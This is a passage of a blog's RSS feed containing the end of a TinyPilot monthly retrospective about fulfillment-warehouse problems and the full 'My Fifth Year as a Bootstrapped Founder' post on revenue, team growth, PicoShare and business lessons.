&lt;li>They need a custom order that our website doesn&amp;rsquo;t support (e.g., volume discount).&lt;/li>
&lt;li>They want to pay with a purchase order (basically, how big companies write IOUs).&lt;/li>
&lt;/ol>
&lt;p>For (1), we create a custom order and then give the customer a link to pay with a credit card. When the customer pays, Shopify automatically marks the order as &amp;ldquo;paid,&amp;rdquo; and we ship it out.&lt;/p>
&lt;p>For (2), we create a custom order and then wait for the customer to send us a signed purchase order. When we receive the purchase order, Shopify still sees the order as &amp;ldquo;unpaid&amp;rdquo; because we don&amp;rsquo;t have the actual cash yet, but we ship it out based on the purchase order.&lt;/p>
&lt;p>As you can see, scenarios (1) and (2) are at odds with each other. If we told the 3PL to hold orders until they&amp;rsquo;re marked as &amp;ldquo;paid,&amp;rdquo; it wouldn&amp;rsquo;t work for customers paying by purchase order (2). If we tell the 3PL to ship out orders even if they&amp;rsquo;re unpaid, they&amp;rsquo;d ship out orders for (1) immediately, even though the customer might not ever pay.&lt;/p>
&lt;p>Before the 3PL, we added notes to an order to make the intent explicit in the case of purchase orders. But the 3PL can&amp;rsquo;t see our note because they only import each order once, so if we add notes later, they don&amp;rsquo;t receive them.&lt;/p>
&lt;p>The 3PL&amp;rsquo;s solution was, again, that we email the person who handles our order and explain the special case orders.&lt;/p>
&lt;p>Writing this out now, I realize I missed an obvious solution. We could have just made the rule, &amp;ldquo;Ship out orders when they&amp;rsquo;re marked as paid.&amp;rdquo; And then for (2), we just manually mark the order as &amp;ldquo;paid&amp;rdquo; when we receive the purchase order. We&amp;rsquo;d need a separate system to track unpaid purchase orders, but that&amp;rsquo;s easier than complicating our interface with the 3PL.&lt;/p>
&lt;h3 id="switching-3pls">Switching 3PLs&lt;/h3>
&lt;p>Overall, it felt like our first 3PL&amp;rsquo;s system for managing changes was brittle and invited too many expensive errors.&lt;/p>
&lt;p>We told the 3PL it wasn&amp;rsquo;t working, and they took it graciously. Our contract required two months&amp;rsquo; notice, so they could have demanded two more payments of their $350 monthly minimum, but they didn&amp;rsquo;t.&lt;/p>
&lt;p>When I was interviewing 3PLs, there were &lt;a href="https://mtlynch.io/retrospectives/2022/11/#working-with-mom-and-pop-3pls">two I liked about equally&lt;/a>. I chose the one that was within driving distance, but the other said I was welcome to reach out anytime.&lt;/p>
&lt;p>When I ran into the edge case scenarios with my first 3PL, I followed up with my second choice to see how they&amp;rsquo;d handle it. The owner told me he found Veracore dated and explained how his warehouse&amp;rsquo;s software would handle my scenarios. It sounded a lot smoother and would allow us to continue managing things in Shopify instead of bridging the gaps with ad-hoc emails. We&amp;rsquo;re now in the process of switching to that 3PL vendor.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Launched &lt;a href="https://tinypilotkvm.com/product/tinypilot-voyager2a">TinyPilot Voyager 2a&lt;/a>&lt;/li>
&lt;li>Published my &lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/">fifth annual retrospective&lt;/a>&lt;/li>
&lt;li>Canceled my 3PL vendor contract&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Figure out how your 3PL will handle non-standard orders.&lt;/li>
&lt;li>Keep interfaces between your eCommerce platform and your 3PL&amp;rsquo;s order management system as simple as possible.
&lt;ul>
&lt;li>In my case, I overlooked simple process changes that would have simplified our 3PL integration.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Don&amp;rsquo;t transition to a new 3PL all at once.
&lt;ul>
&lt;li>Start with a low-volume or low-cost product so you can work out the kinks before moving on to something higher-risk.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Get back to our normal level of ready-to-ship TinyPilot devices.&lt;/li>
&lt;li>Start the process of transitioning to a new 3PL vendor.&lt;/li>
&lt;li>Begin cross-team collaboration between the developers and support engineers.&lt;/li>
&lt;/ul></content:encoded></item><item><title>My Fifth Year as a Bootstrapped Founder</title><link>https://mtlynch.io/bootstrapped-founder-year-5/</link><pubDate>Fri, 10 Feb 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/bootstrapped-founder-year-5/</guid><description>&lt;!-- Disable linter complaints about duplicate headers -->
&lt;!-- markdownlint-disable MD024 -->
&lt;p>Five years ago, I &lt;a href="https://mtlynch.io/why-i-quit-google/">quit my job as a developer at Google&lt;/a> to create my own bootstrapped software company.&lt;/p>
&lt;p>For the first few years, all of my businesses flopped. None of them earned more than a few hundred dollars per month in revenue, and they all had negative profits.&lt;/p>
&lt;p>Halfway through my third year, I created a device called &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>. It allows users to control their computers remotely without installing any software. The product quickly caught on, and it&amp;rsquo;s been my main focus ever since.&lt;/p></description><content:encoded>&lt;!-- Disable linter complaints about duplicate headers -->
&lt;!-- markdownlint-disable MD024 -->
&lt;p>Five years ago, I &lt;a href="https://mtlynch.io/why-i-quit-google/">quit my job as a developer at Google&lt;/a> to create my own bootstrapped software company.&lt;/p>
&lt;p>For the first few years, all of my businesses flopped. None of them earned more than a few hundred dollars per month in revenue, and they all had negative profits.&lt;/p>
&lt;p>Halfway through my third year, I created a device called &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>. It allows users to control their computers remotely without installing any software. The product quickly caught on, and it&amp;rsquo;s been my main focus ever since.&lt;/p>
&lt;p>In 2022, TinyPilot generated $812k in revenue, a 76% increase from 2021.&lt;/p>
&lt;p>In this post, I&amp;rsquo;ll share what I&amp;rsquo;ve learned about being a bootstrapped founder from my fifth year at it.&lt;/p>
&lt;h2 id="previous-updates">Previous updates&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/">My First Year as a Solo Developer&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/">My Second Year as a Solo Developer&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/">My Third Year as a Solo Developer&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/">My Fourth Year as a Bootstrapped Founder&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="highlights-from-the-year">Highlights from the year&lt;/h2>
&lt;h3 id="tinypilot-grew-annual-revenue-to-812k">TinyPilot grew annual revenue to $812k&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Income/Expense&lt;/th>
 &lt;th>2021&lt;/th>
 &lt;th>2022&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Sales&lt;/td>
 &lt;td>$459,529&lt;/td>
 &lt;td>$807,459&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Credit card rewards&lt;/td>
 &lt;td>$2,241&lt;/td>
 &lt;td>$4,327&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Raw materials&lt;/td>
 &lt;td>-$224,046&lt;/td>
 &lt;td>-$333,656&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Payroll&lt;/td>
 &lt;td>-$142,744&lt;/td>
 &lt;td>-$206,187&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Electrical engineering consulting&lt;/td>
 &lt;td>-$28,662&lt;/td>
 &lt;td>-$124,643&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Advertising&lt;/td>
 &lt;td>-$3,873&lt;/td>
 &lt;td>-$51,764&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Web design / branding&lt;/td>
 &lt;td>-$15,931&lt;/td>
 &lt;td>-$30,215&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Postage&lt;/td>
 &lt;td>-$24,227&lt;/td>
 &lt;td>-$30,779&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Cloud services&lt;/td>
 &lt;td>-$5,553&lt;/td>
 &lt;td>-$7,865&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Office space&lt;/td>
 &lt;td>-$4,400&lt;/td>
 &lt;td>-$6,600&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Equipment&lt;/td>
 &lt;td>-$2,083&lt;/td>
 &lt;td>-$5,915&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Everything else&lt;/td>
 &lt;td>-$4,902&lt;/td>
 &lt;td>-$8,183&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net profit&lt;/strong>&lt;/td>
 &lt;td>$5,349&lt;/td>
 &lt;td>$5,979&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>While it sounds impressive to grow revenue by $350k, it&amp;rsquo;s a little less exciting that I&amp;rsquo;m only walking away with $6k in profit. I don&amp;rsquo;t pay myself a salary, so $6k is the full amount I earned from the business in 2022. Still, I&amp;rsquo;m excited about these numbers and what they mean for 2023.&lt;/p>
&lt;p>One of the major cost increases was electrical engineering. Throughout 2021, TinyPilot&amp;rsquo;s electrical engineering vendor was struggling to keep up with TinyPilot&amp;rsquo;s growth. In late 2021, I switched to a new vendor that fits our needs better, but they cost three times as much.&lt;/p>
&lt;p>The ongoing chip shortage forced us into frequent redesigns, which bloated costs in engineering hours and raw materials. We were often in a race to redesign a circuit board before we ran out of our existing version, so we repeatedly paid a premium to expedite the process.&lt;/p>
&lt;p>We finally escaped the redesign treadmill in September. I&amp;rsquo;m hopeful that our fourth quarter results will reflect the coming year. Our profit was $28.6k for the quarter, so if we average $9.5k per month in 2023, I&amp;rsquo;ll be happy.&lt;/p>
&lt;h3 id="tinypilot-got-a-new-website">TinyPilot got a new website&lt;/h3>
&lt;p>When I launched TinyPilot in 2020, I told myself the website and logo were just placeholders. Then, things took off so quickly that I never had time to replace them.&lt;/p>
&lt;p>In 2022, I finally hired a design agency to create a new logo and redesign the website.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/landing-before-cropped.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-5/landing-before-cropped_hu_a7585137c1935969.png 300w, https://mtlynch.io/bootstrapped-founder-year-5/landing-before-cropped_hu_8c54b8c0c74e444d.png 600w, https://mtlynch.io/bootstrapped-founder-year-5/landing-before-cropped_hu_3b065728cc5a9a8e.png 800w, https://mtlynch.io/bootstrapped-founder-year-5/landing-before-cropped_hu_1a68c252c9173b27.png 1200w, https://mtlynch.io/bootstrapped-founder-year-5/landing-before-cropped.png 1240w'
 src="https://mtlynch.io/bootstrapped-founder-year-5/landing-before-cropped.png" alt="Screenshot of old landing page" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/landing-after-cropped.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-5/landing-after-cropped_hu_1a339a7a08a7cf7a.png 300w, https://mtlynch.io/bootstrapped-founder-year-5/landing-after-cropped_hu_b843075d8d4df9e6.png 600w, https://mtlynch.io/bootstrapped-founder-year-5/landing-after-cropped_hu_1deebcd3a9c855b.png 800w, https://mtlynch.io/bootstrapped-founder-year-5/landing-after-cropped_hu_c62239038b18b436.png 1200w, https://mtlynch.io/bootstrapped-founder-year-5/landing-after-cropped.png 1331w'
 src="https://mtlynch.io/bootstrapped-founder-year-5/landing-after-cropped.png" alt="Screenshot of new landing page" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Before and after the &lt;a href="https://mtlynch.io/tinypilot-redesign">TinyPilot website redesign&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>I wrote previously about how &lt;a href="https://mtlynch.io/tinypilot-redesign">frustrating and expensive&lt;/a> it was working with the design agency, but I&amp;rsquo;m pleased with the result. My old website looked like a hobby project, and the new design looks like a real company. I suspect that at least a portion of my increased sales resulted from the new design.&lt;/p>
&lt;h3 id="the-tinypilot-team-grew-from-six-people-to-seven">The TinyPilot team grew from six people to seven&lt;/h3>
&lt;p>At the end of 2021, the TinyPilot team was:&lt;/p>
&lt;ul>
&lt;li>Me, the sole founder&lt;/li>
&lt;li>Three part-time software developers&lt;/li>
&lt;li>Two part-time local staff who handle assembling devices and fulfilling orders
&lt;ul>
&lt;li>One of whom also handled customer service&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>By the end of 2022, we had added two support engineers and adjusted responsibilities, so the team is now:&lt;/p>
&lt;ul>
&lt;li>Me, the sole founder&lt;/li>
&lt;li>&lt;strong>Two&lt;/strong> part-time software developers&lt;/li>
&lt;li>Two part-time local staff who handle assembling devices and fulfilling orders
&lt;ul>
&lt;li>&lt;strong>Both now work on customer service&lt;/strong>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Two part-time support engineers&lt;/strong>&lt;/li>
&lt;/ul>
&lt;p>Adding the support engineers felt like finding the missing piece of the puzzle. Before they joined, I was the only person handling technical support, and it occupied &lt;a href="https://mtlynch.io/retrospectives/2022/02/#how-can-i-manage-tinypilot-with-only-20-hours-per-week">about 20% of my time&lt;/a>. Now, I spend less than 5% of my time on support requests, and customers receive faster support.&lt;/p>
&lt;p>The support engineers also do things I didn&amp;rsquo;t have time for, like investigating complex bugs, writing documentation, and improving our diagnostic tools.&lt;/p>
&lt;p>Growing the team stretched my skills as a manager. In 2021, TinyPilot&amp;rsquo;s workflows were fairly simple. Almost everyone did their work as a single-person unit. The results either went directly to me or to a customer. When employees needed to coordinate with each other, it was always among teammates of the same role.&lt;/p>
&lt;p>Integrating support engineers meant figuring out how different teams work together. How do support requests work when they require cooperation between fulfillment staff and support engineers? What&amp;rsquo;s the feedback loop between the support engineers and the dev team?&lt;/p>
&lt;h3 id="picoshare-became-my-fastest-growing-project">PicoShare became my fastest-growing project&lt;/h3>
&lt;p>One of my pet peeves in the last few years is how difficult it is to share a single file with cloud storage providers like Google Drive or Dropbox. They won&amp;rsquo;t give you a direct link to your file — just a link to their web interface, where they pressure your recipient to sign up for an account. If you upload a video to Google Drive, they make you wait 15+ minutes while they re-encode it, even if it was already optimized to play in the browser.&lt;/p>
&lt;p>As an alternative to the existing cloud storage options, I made a minimalist file-sharing app called &lt;a href="https://github.com/mtlynch/picoshare">PicoShare&lt;/a>. You just upload a file, and it gives you a direct link that you can share. Easy! No re-encoding, no prompts to sign up for anything.&lt;/p>
&lt;figure class="picoshare-demo">
&lt;img src="demo-full.gif" alt="Animated demo of uploading a video file to PicoShare and streaming it in another browser window">
&lt;figcaption>Demo of PicoShare&lt;/figcaption>
&lt;/figure>
&lt;p>There are a few open-source tools that offer &lt;a href="https://github.com/awesome-selfhosted/awesome-selfhosted#file-transfer---single-click--drag-n-drop-upload">similar functionality&lt;/a>, but PicoShare is unique in not requiring a database server. That means you can run it in a single Docker container, whereas other solutions require more complicated orchestration.&lt;/p>
&lt;p>PicoShare became the fastest-growing open-source project I ever published. It received 600 GitHub stars within two weeks of its release. As of this writing, PicoShare has &lt;a href="https://hub.docker.com/r/mtlynch/picoshare/">over 100k installs&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/picoshare-growth.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-5/picoshare-growth_hu_b231cec09287e362.png 300w, https://mtlynch.io/bootstrapped-founder-year-5/picoshare-growth_hu_f6768827fbf98022.png 600w, https://mtlynch.io/bootstrapped-founder-year-5/picoshare-growth_hu_f2706d1674553ba5.png 800w, https://mtlynch.io/bootstrapped-founder-year-5/picoshare-growth.png 896w'
 src="https://mtlynch.io/bootstrapped-founder-year-5/picoshare-growth.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="lessons-learned">Lessons learned&lt;/h2>
&lt;h3 id="dont-become-anyones-smallest-client">Don&amp;rsquo;t become anyone&amp;rsquo;s smallest client&lt;/h3>
&lt;p>I made many mistakes throughout the whole &lt;a href="https://mtlynch.io/tinypilot-redesign">TinyPilot website redesign fiasco&lt;/a>, but the core problem was that the design agency was a fundamental mismatch for TinyPilot.&lt;/p>
&lt;p>The agency&amp;rsquo;s other clients had 5-20x TinyPilot&amp;rsquo;s budget. At first, I thought that was such a gift — this fancy agency with expensive clients was betting on a little company like mine.&lt;/p>
&lt;p>The reality was that TinyPilot was the agency&amp;rsquo;s lowest priority. They managed the project poorly, which drove up costs, bloated scope, and stretched out timelines.&lt;/p>
&lt;p>Now, when I work with new vendors, I ask them how my company compares to their other clients. If I&amp;rsquo;m an outlier in any important dimension like size, revenue, or industry, I look elsewhere.&lt;/p>
&lt;h3 id="run-at-50-capacity">Run at 50% capacity&lt;/h3>
&lt;p>Wouldn&amp;rsquo;t it be wonderful if your business&amp;rsquo; capacity perfectly matched your customers&amp;rsquo; needs? Your employees would fulfill every order and satisfy every support request while working exactly 40 hours per week. They&amp;rsquo;d never feel overworked nor underworked, and there&amp;rsquo;d be no idle time.&lt;/p>
&lt;p>In practice, that would be a terrible system. Running at 100% utilization would mean you have no margin for error. Ordinary occurences like a bump in sales or an employee taking a vacation would immediately overwhelm you.&lt;/p>
&lt;p>I aim for everyone at TinyPilot to run at around 50% capacity. That is, a balance of 50% reactive work and 50% proactive work. For some roles, the balance isn&amp;rsquo;t quite 50/50, but it&amp;rsquo;s a good rule of thumb.&lt;/p>
&lt;p>The technical support team is the clearest example of a 50/50 split: they spend half of their time responding to support requests and the other half finding ways to save users from needing support. The proactive tasks include fixing bugs in the product, writing documentation, and improving our diagnostic tools.&lt;/p>
&lt;p>Every TinyPilot team comprises two people. When one person is unavailable, the other can suspend their proactive work and handle time-sensitive tasks without feeling overwhelmed. If we get a rush of orders because a popular YouTube channel &lt;a href="https://mtlynch.io/retrospectives/2022/12/#tinypilot-stats">mentions us&lt;/a>, we have spare capacity to absorb it.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Team&lt;/th>
 &lt;th>Reactive tasks&lt;/th>
 &lt;th>Proactive tasks&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Founder&lt;/td>
 &lt;td>Team management&lt;br>Vendor management&lt;br>Reviewing work&lt;br>Filling gaps in responsibilities&lt;/td>
 &lt;td>Marketing&lt;br>Sales&lt;br>Re-evaluating strategy&lt;br>Hiring and training&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Support engineers&lt;/td>
 &lt;td>Answering technical support questions&lt;/td>
 &lt;td>Writing documentation&lt;br>Writing tutorials&lt;br>Investigating difficult bugs&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Software developers&lt;/td>
 &lt;td>Fixing urgent bugs&lt;br>Releasing new features&lt;/td>
 &lt;td>Improving dev experience&lt;br>Creating automated tests&lt;br>Fixing non-urgent bugs&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Fulfillment staff&lt;/td>
 &lt;td>Assembling devices&lt;br>Fulfilling orders&lt;br>Customer service&lt;/td>
 &lt;td>Creating support playbooks&lt;br>Assisting in marketing&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h3 id="ansible-and-git-are-not-software-distribution-tools">Ansible and git are not software distribution tools&lt;/h3>
&lt;p>When I started working on TinyPilot, I didn&amp;rsquo;t know how to distribute Linux software.&lt;/p>
&lt;p>To publish the prototype of TinyPilot, I used the tools I knew: bash scripts, Ansible, and git. The &lt;a href="https://github.com/tiny-pilot/tinypilot/blob/2a97cf02bd6e032a2fc60846d7d2c60be92c7c74/quick-install">bash script&lt;/a> bootstrapped an Ansible environment and executed an Ansible playbook. Ansible installed dependencies, made necessary changes to the operating system, and cloned the TinyPilot git repository.&lt;/p>
&lt;p>The installation process was okay, not great. It was slow but reliable and didn&amp;rsquo;t require the user to configure anything manually.&lt;/p>
&lt;p>Two years later, TinyPilot&amp;rsquo;s update process was a mess. It still relied on the same shaky foundations from the prototype, except now there was a complex web of interdependencies. Ansible roles depended on Git repositories, which depended on other Ansible roles, which depended on parameters in a bunch of YAML files. Minor changes swallowed weeks of development time.&lt;/p>
&lt;p>All this because I never bothered to learn standard Linux packaging tools.&lt;/p>
&lt;p>This year, the TinyPilot team learned to use Debian packages. It was far less painful than I&amp;rsquo;d feared. I thought we&amp;rsquo;d have to deploy all sorts of package servers and key servers, but it turns out we didn&amp;rsquo;t need any of that. The process was relatively easy once we found &lt;a href="https://mtlynch.io/retrospectives/2022/12/#getting-out-of-the-ansible-hole">the right guides&lt;/a>.&lt;/p>
&lt;p>Debian packages have accelerated our development. The tooling catches expensive mistakes earlier, and we can deploy pre-release versions to our test devices easily, whereas our previous installation system made that process prohibitively complex.&lt;/p>
&lt;h2 id="grading-last-years-goals">Grading last year&amp;rsquo;s goals&lt;/h2>
&lt;p>Last year, I set &lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/#goals-for-year-four">three high-level goals&lt;/a> that I wanted to achieve during the year. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="grow-tinypilot-to-1m-in-annual-revenue">Grow TinyPilot to $1M in annual revenue&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Grew TinyPilot&amp;rsquo;s revenue by 76% to $812k&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>I always knew that $1M was an aggressive goal. We fell short, but I&amp;rsquo;m still impressed at how close we came.&lt;/p>
&lt;h3 id="manage-tinypilot-on-20-hours-per-week">Manage TinyPilot on 20 hours per week&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I spent more time managing TinyPilot in 2022 than in 2021.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>I was hoping to automate and delegate away enough of my job to reduce my management time to 20 hours per week, but it didn&amp;rsquo;t happen. Between growing sales, spinning up the support engineering team, and putting out fires due to the chip shortage, my management time increased.&lt;/p>
&lt;h3 id="ship-tinypilot-voyager-3">Ship TinyPilot Voyager 3&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We never even completed the design phase&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>TinyPilot has always used the Raspberry Pi 4B as the core hardware. There&amp;rsquo;s a wonderful ecosystem around the Pi 4B, but the hardware is relatively expensive and difficult to integrate with custom chips.&lt;/p>
&lt;p>My plan for 2022 was to create a custom circuit board for the slimmer, less expensive Raspberry Pi Compute Module 4. That could cut our manufacturing costs by up to 60% and simplify our hardware design.&lt;/p>
&lt;p>Instead, all of our hardware engineering time went to chasing down manufacturing issues and supply shortages, so we made no progress on a new product.&lt;/p>
&lt;h2 id="goals-for-year-six">Goals for year six&lt;/h2>
&lt;h3 id="manage-tinypilot-on-20-hours-per-week-1">Manage TinyPilot on 20 hours per week&lt;/h3>
&lt;p>I failed miserably at reducing my hours last year, but it&amp;rsquo;s now my top priority. I&amp;rsquo;m hopeful about my chances this year. A lot of my 2022 work laid the groundwork to remove me from the critical path in 2023.&lt;/p>
&lt;h3 id="earn-100k-in-profit">Earn $100k in profit&lt;/h3>
&lt;p>For TinyPilot&amp;rsquo;s first two and a half years, I focused on growth. I pay the same in hardware and software engineering costs whether I&amp;rsquo;m selling 20 devices per month or 2,000, so I needed to reach a certain scale to make the business viable.&lt;/p>
&lt;p>For most of 2023, TinyPilot&amp;rsquo;s production will be &lt;a href="https://mtlynch.io/retrospectives/2023/01/#losing-450k-in-a-single-email">constrained by supply&lt;/a>. It was disappointing to find out I&amp;rsquo;d have no chance at growing sales, but the silver lining is that I can slow down and focus on profit rather than growth.&lt;/p>
&lt;p>TinyPilot has always roughly broken even, but I think I can reach $100k in profit this year if I avoid further hardware redesigns. Without the hardware redesigns in 2022, I would have saved around $100k on engineering and $20k on materials. If I keep sales steady and run leaner on the hardware side, 2023 should be a profitable year.&lt;/p>
&lt;h3 id="close-the-tinypilot-office">Close the TinyPilot office&lt;/h3>
&lt;p>I&amp;rsquo;ve leased an office for TinyPilot &lt;a href="https://mtlynch.io/retrospectives/2021/05/#tinypilots-new-office-the-fun-stuff">since early 2021&lt;/a>. We use it for assembling devices, fulfilling orders, and storing inventory.&lt;/p>
&lt;p>Having our own local office has helped us adapt quickly to changes in our hardware and processes, but it&amp;rsquo;s a lot of extra overhead. This year, I hope to transition assembly to China, where all of our parts originate. I&amp;rsquo;m also in the process of moving our fulfillment to a third-party logistics warehouse.&lt;/p>
&lt;p>Eliminating the TinyPilot office would spare us the work of maintaining a physical space, managing inventory, and tracking in-person shifts. Outsourcing manufacturing and fulfillment will also give the team more flexibility in time and location.&lt;/p>
&lt;h2 id="do-i-still-love-it">Do I still love it?&lt;/h2>
&lt;p>Every year, when I write these blog posts, I ask myself whether I still love what I&amp;rsquo;m doing.&lt;/p>
&lt;p>2022 was a hard year — certainly my hardest since going off on my own. I wasn&amp;rsquo;t miserable, but I can&amp;rsquo;t say I &lt;em>loved&lt;/em> it.&lt;/p>
&lt;p>The global chip shortage meant we could never manufacture a batch of products the same way twice. There was always some missing component or manufacturing issue, so we were constantly racing to fix issues and adapt our processes before we ran out of stock. We got through it, and there were only a handful of days that I had to mark any product as sold out, but it was stressful.&lt;/p>
&lt;p>That said, there were certainly many things to appreciate about the year. I had a relatively small amount of time for writing and software development, but I&amp;rsquo;m proud of what I produced. Expanding the TinyPilot organization and figuring out how teams work together grew my skills as a manager. It&amp;rsquo;s been gratifying to see the team grow in their roles and expand their skills as the company evolves.&lt;/p>
&lt;p>I still prefer working for myself to having an employer. I still feel grateful for the freedom to have my own company. And I still want to do it forever.&lt;/p>
&lt;h2>All annual reviews&lt;/h2>
&lt;ul>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/">My First Year as a Solo Developer&lt;/a>- Feb. 1, 2019
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/">My Second Year as a Solo Developer&lt;/a>- Jan. 31, 2020
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/">My Third Year as a Solo Developer&lt;/a>- Feb. 1, 2021
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/">My Fourth Year as a Bootstrapped Founder&lt;/a>- Feb. 1, 2022
 &lt;/li>&lt;li>My Fifth Year as a Bootstrapped Founder- Feb. 10, 2023
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/">My Sixth Year as a Bootstrapped Founder&lt;/a>- Feb. 16, 2024
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/">My Seventh Year as a Bootstrapped Founder&lt;/a>- Feb. 3, 2025
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-8/">My Eighth Year as a Bootstrapped Founder&lt;/a>- Feb. 3, 2026
 &lt;/li>&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Cover image by Loraine Yow. Thanks to my lovely fiancé and the &lt;a href="https://bloggingfordevs.com/">Blogging for Devs community&lt;/a> for providing early feedback on this post.&lt;/em>&lt;/p>
&lt;script src="https://mtlynch.io/third-party/chart.js/2.9.4/Chart.min.js">&lt;/script>
&lt;script src="script.js">&lt;/script></content:encoded></item><item><title>TinyPilot: Month 30</title><link>https://mtlynch.io/retrospectives/2023/01/</link><pubDate>Tue, 10 Jan 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2023/01/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
